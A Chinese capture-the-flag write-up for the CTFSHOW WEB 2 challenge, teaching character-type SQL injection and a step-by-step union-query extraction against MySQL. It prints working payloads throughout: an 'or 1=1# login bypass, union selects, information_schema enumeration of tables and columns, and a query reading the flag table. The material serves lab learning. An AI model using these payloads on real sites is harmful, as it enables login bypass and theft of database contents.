当前位置: 首页 > news >正文

CTFSHOW WEB 2

知识点补充

1. 注入类型判断

  • 字符型注入:参数被单引号包裹 '$username'

  • 检测方法:输入 a' or '1'='1 或 a' # 测试登录绕过

  • 关键点:需要通过闭合前面的引号,注释掉后面的引

2. 联合查询注入流程

确定注入点 → 判断列数 → 确定显示位 → 提取数据库信息 → 获取表名 → 获取列名 → 提取数据

3. 信息模式利用

  • information_schema.tables:获取所有表信息

  • information_schema.columns:获取所有列信息

  • table_schema:指定数据库名

  • table_name:指定表名

4. MySQL函数使用

  • database():获取当前数据库名

  • group_concat():将多行结果合并为一行

  • union select:联合查询获取数据

解题思路

1.先使用万能账户查看是否可以登录成功(账户:admin 'or 1=1#)

2.发现有回显后,证明存在SQL注入,使用联合注入进行查询数据库列数,这里直接跳过一行一行查询过程,直接使用admin' union select 1,2,3#,进行查询,发现爆出2库

3.使用admin 'union select 1,database(),3#,查到这个数据库名为web2

4.在已知数据库的情况下,查询数据库内所有表名,

information_schema.tables:MySQL的系统表,存储了所有数据库和表的元数据信息table_schema='web2':筛选条件,只查询属于'web2'数据库的表group_concat(table_name):将查询到的所有表名用逗号连接成一个字符串admin'union select 1,(select group_concat(table_name) from information_schema.tables
where table_schema='web2'),3#

5.爆出表中内容,发现存在flag表名,证明这就是我所需的flag,用table_name='flag'读取flag表字段

admin' union select 1,(select group_concat(column_name) from information_schema.columns
where table_schema='web2' and table_name='flag'),3 #

6.发现只有一个内容这就是所需的flag,直接获取flag表的数据

a' union select 1,(select flag from flag),3 #

http://www.dtcms.com/a/478205.html

相关文章:

  • 学术研究者的AI记录工具对比评测
  • mianf网站换友网站
  • 旧电脑变废为宝:Puter+cpolar打造你的专属云盘
  • springboot考试管理系统-计算机毕业设计源码84001
  • 手写MyBatis第106弹:#{}预编译安全机制 vs ${}字符串替换风险 - 源码级深度解析
  • 【Pytorch】数学运算
  • 金泉网站建设开发手机网站开发注意
  • 当Excel遇上大语言模型:ExcelAgentTemplate架构深度剖析与实战指南
  • 新农村建设在哪个网站申请vi设计包含的内容
  • 达梦数据库相关术语及管理操作
  • 百度网站推广公司济南网络优化推广
  • 【SpringBoot从初学者到专家的成长14】SpringBoot项目结构介绍
  • mongodb一个服务器部署多个节点
  • 基金网站制作工程承包公司
  • 成都企业网站建设价格搜索引擎收录
  • 第9章:两条道路的风景:技术与管理的真实世界(4)
  • 基于frenet坐标系的规划与避障
  • 从本地到云端:Fiora+cpolar打造真正的私密社交通讯站
  • Vue Router 导航守卫
  • 技术评测丨RPA主流平台稳定性、安全与信创适配能力对比
  • 简约淘宝网站模板免费下载建立 wiki 网站
  • 【Unity】uNet游戏服务端框架(三)心跳机制
  • 二叉树的深搜
  • C++设计模式之行为型模式:模板方法模式(Template Method)
  • 做3dh春丽网站叫什么重庆十大软件公司
  • 长沙电商网站开发php开发网站后台
  • QT6中Combo Box与Combo BoxFont 功能及用法
  • 软考网工知识点-1
  • win10下Qt应用程序使用FastDDS
  • 链表相关的知识以及算法题